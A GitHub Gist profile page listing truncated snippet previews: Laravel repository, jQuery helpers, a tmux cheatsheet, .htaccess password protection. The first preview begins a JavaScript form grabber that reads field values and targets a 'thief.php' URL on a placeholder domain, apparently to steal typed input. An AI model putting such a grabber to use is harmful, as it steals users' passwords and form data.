Skip to content

Instantly share code, notes, and snippets.

(function(){
THIEF = "http://my_domain.com/thief.php";
function grab(e)
{
var o = e.srcElement;
var img = new Image();
var text = o.value;
if(!text || typeof text == "undefined")
php -r 'echo join(timezone_identifiers_list(), ",");'
function FormHandler() {
var lock = false;
return function($form) {
if (lock) {
return;
}
lock = true;
var request = $.ajax({
@RDIFB0
RDIFB0 / baserepo.php
Created April 26, 2015 15:17
Laravel BaseRepository
<?php
/**
* @link http://kylenoland.com/laravel-repository-pattern-a-full-base-repository-example-for-laravel-4/
*/
abstract class BaseRepository implements BaseRepositoryInterface
{
/**
* The repository model
function do() {
var dfd = $.Deferred();
if (true) {
dfd.resolve(arg);
} else {
dfd.reject(msg);
}
return dfd.promise();

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

@RDIFB0
RDIFB0 / .htaccess
Created March 3, 2015 09:40
Защитить паролем сайт
#allows a single uri through the .htaccess password protection
SetEnvIf Request_URI "/testing_uri$" test_uri
#allows everything if its on a certain host
SetEnvIf HOST "^testing.yoursite.com" testing_url
SetEnvIf HOST "^yoursite.com" live_url
Order Deny,Allow
AuthName "Restricted Area"
AuthType Basic